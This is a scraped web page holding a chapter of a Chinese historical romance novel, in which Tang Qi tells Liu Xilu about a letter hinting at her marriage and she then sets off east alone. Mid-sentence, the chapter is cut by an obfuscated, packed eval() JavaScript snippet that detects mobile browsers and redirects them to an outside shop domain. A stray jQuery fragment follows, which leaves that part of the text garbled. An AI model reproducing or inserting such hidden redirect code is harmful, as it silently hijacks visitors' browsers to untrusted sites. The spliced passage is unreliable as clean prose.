54. 决离7
    “我……我该知道吗?”

    唐祁笑了一笑,掏出了一封信推到她跟前,眼皮一掀,“你要看吗?”

    他到底是个干脆的人,但话音未落,少女的面颊便上飞快爬上了一层不自然的粉色。刘溪鸰怔愣半晌,那嘴唇似是抖了一抖,终究缩回了手,“我不看,不看长辈的信。”

    “你可以看。”他按着信的指节未动,手指轻点,“里面说的都是你。”

    “我……”她站在那处好久,不知究竟该如何。

    话既说到了这份上,她没有机会再闭嘴了。那就像是一张海底怪兽的巨口缓缓逼近,她不敢睁眼却又不得不挥刀自保。

    想了半天,她才艰难开口:“为什么?”

    这是最后的讨巧。那里面是什么还不知道,但她却先问了理由。如果不是她想的那样,那这理由无关紧要,如果真如自己所想,那死也能死个明白了。

    “瞧,你大约不需要看了。”唐祁的笑容中带了丝玩味。

    这一年中,沈舜的来信不是没表露过这个意思,只是不大明显罢了。沈家大郎尤其要脸面,信中通常写的都是“既如何便如何”的玩笑句式,譬如她既此抗拒与洪氏结亲,那不妨请义弟这个大官帮着物色,兴许真能寻着个得意的云云。

    空闲时回信,唐祁也会随意帮着点一些,譬如那谢琎,又譬如今年登科的其他青年才俊,但若真说及此处,信中对话却又答非所问不在一方了。这事儿他们也没刻意瞒着她,只是后来一忙,也就不了了之。

    一切还是如常,直到他沈舜得任宿州参军。这个参军来得巧,上半年宿州出了个几十条人命的大案,到头来一查却是判错了。而那苦主家中颇有能耐,宿州又近东京南京,因此动静闹得不小,不知怎得,最后竟直接呈状于文相案前。

    于是罢了一众属官下了大狱,等着生死簿上的日子。宿州府台的参军官廨里顷刻间空空如也。沈舜恰在此刻上任,身兼数职,不可谓不巧。虽说一个参军不值什么事,但办得好,更进一步自然不在话下。

    诚然,唐祁的确也跟姚太傅提过这义兄的任职差遣,但后头究竟是个人造化多些,还是他的功劳多些,委实难说。但二人交往数年情谊甚笃,这种事情原本不过是一句话的事。

    可这义兄信中不断提及外甥女的婚配之事,便叫情况变得复杂了起来。

    刘溪鸰瞧着他莫辩的神色,却还在那处怀揣侥幸:什么叫不需要看了?难道舅舅信中说的是别的?

    但唐祁突兀的一句话即刻打消了这种侥幸。他轻声道:“我已有婚约在身,于我而言,这的确有些难办。”

    这话就是再轻,也很难听不清楚。她张了张嘴,面上红得像烧穿的水壶,只能将头埋得不能更低。可这一低,心便好像要呕出了嗓子眼了。

    砰砰,砰砰。声音直冲她的耳膜。

    她不敢看他:“那叔父是如何……”要死了,怎么会聊到这一出?

    能不能假装没问这句话呢?她刚才为什么要提这一茬呢?要不,要不还是说说画图的事吧!或者她干脆去外头……外头雨更大了。

    “我可以不回。”那双大眼在那左顾右盼时,他简短地说,“今年雨水丰润,很多驿站被淹了。”

    “这样……行吗?”

    天井中弥漫的水汽,雨滴在当中溅起了朵朵蝶花,“起码眼下可行。”他的语气如常,像是说一件无关紧要的事。

    这样说来,那还可拖上一拖了。她刚松了一口气,却又觉着难为情起来。“叔父为何要这样帮我?”

    他笑意未改:“对我没有好处的事情,我为什么要做呢?”

    她的心便松了,是了,这个人从来不是什么好人来着。连他当初收留她,也是瞧着银子和舅舅的面子的份上,可想,若是第二回她单单一人投奔而来,没有沈舜的话,他怕是不会留她的。

    可紧接着,他却话锋一转:“倒是你,该想想,什么是真正对你有好处的事。而不是凭着自己的满腔热血一意孤行,到头来,落得个众叛亲离的下场。”他伸出手,雨水顺着屋檐落在了掌心。

    啪嗒,啪嗒。

    唐祁侧手,雨水又顺着他的指缝流了下去,“或者说,已经是众叛亲离了。”

    他瞧了她一眼。

    他的掌纹很是清晰,其中有一条直直的线自中指根下直指腕中,她三年前就见过。那无畏老道儿说,这是官星才有的手相。

    “众叛,众叛亲离吗?”这词用得这样严重,可沈家的安排分明是她自己不要的。

    他一笑:“不欲潦草成婚为那洪家人牵制,是不是‘鲁莽挑剔,心比天高’?转身一跑,跑得人家措手不及是不假,但这是不是又正中了他们的下怀,将定夺分说之权拱手相让呢?”

    是了,他们借机便甩脱了这个累赘。眼下,还要把她甩的更远。

    “那我又能怎么办呢?”眸光对视间,她忽然想起第一回见到唐祁时,他说“问也不问就跟了来,不怕沈子坤把你卖了”,这话那时是逗她的,现在想来却未必。

    这种冥冥之中应了的谶语令她几乎想发笑,她喃喃道:“这怎么可能呢?”谁会在同样的事情上犯两次错误?谁又会两次这样对待自己的亲人呢?有那么一瞬间她觉得也许是自己想错了。

    “我不明白,叔父。”她完全听不懂他的话了,他好像在帮她说话,又好像没有。

    唐祁那双桃花眸子打她面上一扫,莞尔间轻启扩唇,“吾女年余二七,不日可及聘时。贤弟若自有……”这会儿声量倒是大得没有丝毫犹豫。

    刘溪鸰才听到个聘字,那脸刷地成了绛红色,倏地打断道:“不可能,那是我舅舅!”

    “是吗?你逃婚的时候怎么没想过他是你舅舅?”他拿了帕子擦手,轻飘飘地说了句:“伪善,才是真正的恶。”

    这话也不晓得说的谁。也许是说她,为了自己从不顾及家里,这时候倒谈及了亲情。也许也是说她那关键时刻总不愿做坏人的舅舅。

    “你该长大了。既要做得自己的主,就要有所牺牲。不要在该聪明的时候愚蠢,总叫旁人来替你做决定。”他拨了拨炉子下的柴火,声音伴随着冷风细雨,像粒粒雪子。

    少女木讷地站着。这才不到一年,同样的事情又发生了,而去年的这个时候她正在为自己侥幸逃离而快意。

    原来皆是笼中。

    “我还有可选的吗?”她感到周身发冷,她除了嫁人,竟然毫无别

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114428|137641||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的选择?

    “有的,”唐祁敛了笑,“我们不是,还什么也没说吗?你不是什么也不知道吗?”

    她直直瞧着他。是了,他并不想娶她。

    “你还有很多选择。在这个时候,不妨聪明一些。”她记住了他说这句话时的表情。

    枯燥诡异的对话就样戛然而止。

    这一夜,她当然又没睡着。她很后悔,她应该看那封信,那话说不定是他诓她的呢?他最善模仿人笔迹了,她已经上过一回当了。

    可转念一想,看不看又有什么关系?

    他究竟是什么意思她猜不透。但她更想知道沈家是什么意思,从她离开到现在究竟发生了什么。她要亲眼瞧,要亲耳听,才不要什么劳什子信。

    第三日,雨稍小,人们已是待不住了。

    她起身时,客栈的人已散去了大半。

    唐祁和叶斌也已回了城,只有周管事守在那处,“公事忙,大人昨儿夜里就回去了,嘱咐咱伺候着姑娘。天冷,怕回城晚,给姑娘留了些盘缠细软。”说着递上一个包袱。

    真是来去莫名。她瞧了眼那包袱,一思忖,“大人走时可还交代了什么?”

    “大人说,姑娘不必急,一切妥当了再交差也不迟。”

    “嗯,晓得了。”

    “大人还说,此处河口与瓜洲渡相似,若是这回的图上缺了什么,也不必担心,寻了那扬州的图借鉴便可。”周管事又问,“姑娘几时能回?”

    刘溪鸰便道:“我把剩下的画完了再回,麻烦管事带个话!”说着便翻身上了马。

    后来她每每想起这一日,都觉着这大约是他留给她的一个选择。她若是走了,也就没有后面这么多事情了。可她没有。

    ——

    下午,周管事匆匆赶回唐府时,唐家官人正在那院子里修剪着一株小银杏。

    “大人,姑娘今日应当是不回的。”

    “嗯,她去哪儿了?”唐祁面上并无讶色。

    “往东走了。”

    “东?”他一笑,“真去宿州了。”

    那信她始终还是没有打开,是不是沈舜写的也不重要。若是沈舜没点头,旁人代写,又岂敢说这样的话呢?退一万步讲,至少他不会不知情。那么这样的暗示,是一种补偿,一种进贡,还是一种协定呢?

    他忽然觉得她是有些可怜的,这有些奇怪。

    他从不同情她的出身和劫难,他见过的苦太多。而她不愁吃穿还有祖上荫蔽,只须老老实实呆着,就能得到许多人得不到的东西。这哪里可怜呢?

    可难就难在,沈舜这个舅舅当得也不算没心没肺,至少在幼时他还是向来维护这外甥女的。更是因为一度的偏袒纵容,才将事情推向了今日这个局面。

    细细算来,也不能全是他一人之私心。如今正如他所言:“交给你,我比我自己还要放心”,这话总不算错。

    但事情却不能由他来起头。

    “她怎么会没有察觉呢?她最善此功,只是不想罢了。”手指轻动,唐祁折断了一根枯枝桠,枯枝上结有一层乱七八糟的蛛网。

    当那样细致的、亲密的蛛网笼罩在自己身上时,人们往往会觉得那是一种归宿。